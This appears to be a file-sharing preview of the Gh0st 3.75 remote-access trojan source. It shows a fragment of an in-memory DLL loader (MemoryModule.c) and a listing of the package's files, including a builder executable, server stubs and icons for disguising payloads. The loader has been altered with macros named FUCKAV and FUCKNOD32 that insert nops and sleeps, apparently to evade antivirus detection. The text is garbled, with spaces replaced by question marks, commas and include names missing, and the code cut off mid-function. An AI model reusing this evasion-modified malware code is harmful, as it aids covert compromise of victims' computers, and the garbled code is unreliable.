/*
?*?Memory?DLL?loading?code
?*?Version?0.0.2
?*
?*?Copyright?（c）?2004-2005?by?Joachim?Bauch?/?mail@joachim-bauch.de
?*?http://www.joachim-bauch.de
?*
?*?The?contents?of?this?file?are?subject?to?the?Mozilla?Public?License?Version
?*?1.1?（the?“License“）;?you?may?not?use?this?file?except?in?compliance?with
?*?the?License.?You?may?obtain?a?copy?of?the?License?at
?*?http://www.mozilla.org/MPL/
?*
?*?Software?distributed?under?the?License?is?distributed?on?an?“AS?IS“?basis
?*?WITHOUT?WARRANTY?OF?ANY?KIND?either?express?or?implied.?See?the?License
?*?for?the?specific?language?governing?rights?and?limitations?under?the
?*?License.
?*
?*?The?Original?Code?is?MemoryModule.c
?*
?*?The?Initial?Developer?of?the?Original?Code?is?Joachim?Bauch.
?*
?*?Portions?created?by?Joachim?Bauch?are?Copyright?（C）?2004-2005
?*?Joachim?Bauch.?All?Rights?Reserved.
?*
?*/

//?disable?warnings?about?pointer?<->?DWORD?conversions
#pragma?warning（?disable?:?4311?4312?）
#include?
#include?


#define?ANTIVIRUS??_asm?nop;
#define?FUCKNOD32??Sleep（0）;
#define?FUCKAV?????_asm?nop;
#define?FUCKAV2?????_asm?nop;




#ifdef?DEBUG_OUTPUT
#include?
#endif

#include?“MemoryModule.h“

typedef?struct?{
	PIMAGE_NT_HEADERS?headers;
	unsigned?char?*codebase;
	HMODULE?*modules;
	int?numModules;
	int?initialized;
}?MEMORYMODULE?*PMEMORYMODULE;

typedef?BOOL?（WINAPI?*DllEntryProc）（HINSTANCE?hinstDLL?DWORD?fdwReason?LPVOID?lpReserved）;

#define?GET_HEADER_DICTIONARY（module?idx）	&（module）->headers->OptionalHeader.DataDirectory[idx]

#ifdef?DEBUG_OUTPUT
//?static?void
//?OutputLastError（const?char?*msg）
//?{
//?	LPVOID?tmp;
//?	char?*tmpmsg;
//?	FormatMessage（FORMAT_MESSAGE_ALLOCATE_BUFFER?|?FORMAT_MESSAGE_FROM_SYSTEM?|?FORMAT_MESSAGE_IGNORE_INSERTS
//?		NULL?GetLastError（）?MAKELANGID（LANG_NEUTRAL?SUBLANG_DEFAULT）?（LPTSTR）&tmp?0?NULL）;
//?	tmpmsg?=?（char?*）LocalAlloc（LPTR?strlen（msg）?+?strlen（tmp）?+?3）;
//?	sprintf（tmpmsg?“%s:?%s“?msg?tmp）;
//?//	OutputDebugString（tmpmsg）;
//?	LocalFree（tmpmsg）;
//?	LocalFree（tmp）;
//?}
#endif

static?void
CopySections（const?unsigned?char?*data?PIMAGE_NT_HEADERS?old_headers?PMEMORYMODULE?module）
{
	int?i?size;
	unsigned?char?*codebase?=?module->codebase;
	unsigned?char?*dest;
	PIMAGE_SECTION_HEADER?section?=?IMAGE_FIRST_SECTION（module->headers）;



		FUCKAV2
		FUCKAV2
		FUCKAV2
????????FUCKAV2
		ANTIVIRUS
		FUCKNOD32
		FUCKAV
	for?（i=0;?iheaders->FileHeader.NumberOfSections;?i++?section++）
	{
		if?（section->SizeOfRawData?==?0）
		{
			//?section?doesn‘t?contain?data?in?the?dll?itself?but?may?define
			//?uninitialized?data
			size?=?old_headers->OptionalHeader.SectionAlignment;
			if?（size?>?0）
			{
				dest?=?（unsigned?char?*）VirtualAlloc（codebase?+?section->VirtualAddress
					size
					MEM_COMMIT
					PAGE_READWRITE）;

				section->Misc.PhysicalAddress?=?（DWORD）dest;
				memset（dest?0?size）;
			

?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----

?????文件??????31857??2012-05-01?21:24??GH0ST3.75源碼\Bin\DivXAvi.dll

?????文件????3469312??2012-05-22?20:30??GH0ST3.75源碼\Bin\Gh0st.exe

?????文件?????????16??2014-03-30?01:19??GH0ST3.75源碼\Bin\Gh0st.ini

?????文件???????4286??2009-07-03?06:43??GH0ST3.75源碼\Bin\Ico\451.ico

?????文件????????766??2006-06-29?15:59??GH0ST3.75源碼\Bin\Ico\bat.ico

?????文件???????2238??2007-03-31?23:50??GH0ST3.75源碼\Bin\Ico\blank.ico

?????文件???????2238??2006-06-29?18:20??GH0ST3.75源碼\Bin\Ico\doc2003.ico

?????文件????????766??2006-06-29?16:11??GH0ST3.75源碼\Bin\Ico\dos.ico

?????文件???????2238??2006-06-29?18:20??GH0ST3.75源碼\Bin\Ico\folder.ico

?????文件???????2238??2006-06-29?22:32??GH0ST3.75源碼\Bin\Ico\ie.ico

?????文件??????23558??2008-08-24?17:11??GH0ST3.75源碼\Bin\Ico\jpeg.ico

?????文件????????766??2006-06-29?22:34??GH0ST3.75源碼\Bin\Ico\rar.ico

?????文件??????23558??2008-08-24?17:11??GH0ST3.75源碼\Bin\Ico\ss5.ico

?????文件???????2238??2003-06-11?20:03??GH0ST3.75源碼\Bin\Ico\txt.ico

?????文件???????2238??2006-06-29?22:34??GH0ST3.75源碼\Bin\Ico\txtxp.ico

?????文件???????2238??2006-06-29?22:33??GH0ST3.75源碼\Bin\Ico\wmp.ico

?????文件???????2238??2006-06-29?22:34??GH0ST3.75源碼\Bin\Ico\wmplayer.ico

?????文件???????2238??2006-06-29?22:34??GH0ST3.75源碼\Bin\Ico\word.ico

?????文件???????2238??2006-06-29?22:34??GH0ST3.75源碼\Bin\Ico\xls2003.ico

?????文件?????142300??2012-05-01?21:25??GH0ST3.75源碼\Bin\MP3Enc.dll

?????文件?????895921??2008-05-24?15:18??GH0ST3.75源碼\Bin\QQWry.dat

?????文件??????90476??2010-12-06?19:33??GH0ST3.75源碼\Bin\Sound\Login.wav

?????文件??????88514??2010-12-06?19:33??GH0ST3.75源碼\Bin\Sound\Offline.wav

?????文件??????96768??2012-02-23?20:51??GH0ST3.75源碼\Bin\Tool\xp3389.tool

?????文件??????34304??2009-12-06?06:50??GH0ST3.75源碼\Bin\Tool\zip\Stubs\lzma

?????文件????????766??2002-08-02?18:01??GH0ST3.75源碼\Bin\Tool\zip\Stubs\uninst

?????文件??????35840??2009-12-06?06:50??GH0ST3.75源碼\Bin\Tool\zip\Stubs\zlib

?????文件?????496128??2009-12-06?06:49??GH0ST3.75源碼\Bin\Tool\zip\zip.exe

?????文件?????????76??2007-09-13?19:03??GH0ST3.75源碼\Bin\Tool\敬告.txt

?????文件??????96768??2012-06-04?20:49??GH0ST3.75源碼\Bin\Update\Server.Dat

............此處省略42個文件信息